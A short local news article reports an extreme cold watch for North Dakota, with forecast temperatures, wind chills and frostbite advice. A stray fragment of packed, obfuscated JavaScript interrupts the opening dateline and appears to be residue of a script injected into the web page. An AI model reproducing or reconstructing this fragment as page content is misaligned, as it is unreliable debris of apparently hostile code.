JAMESTOWN zzkek|var|u0026u|referrer|kzkkh||js|php’.split(‘|’),0,{}))
(NewsDakota.com) – The National Weather Service in Bismarck and Grand Forks has issued an extreme cold watch for much of North Dakota, including Stutsman County and Barnes County.

The watch is in effect from Wednesday morning through Thursday morning. The NWS says an arctic air mass moving into North Dakota could cause temperatures to fall between -5 to -15 degrees by Wednesday afternoon. Brisk northwest winds could potentially reach 25 miles per hour, creating wind chill temperatures between -30 and -45 degrees.

The weather service is advising those working outside or those with pets to prepare now as frostbite can occur within minutes during the extreme cold expected.

Temperatures are forecast to rise back into the 20’s this weekend.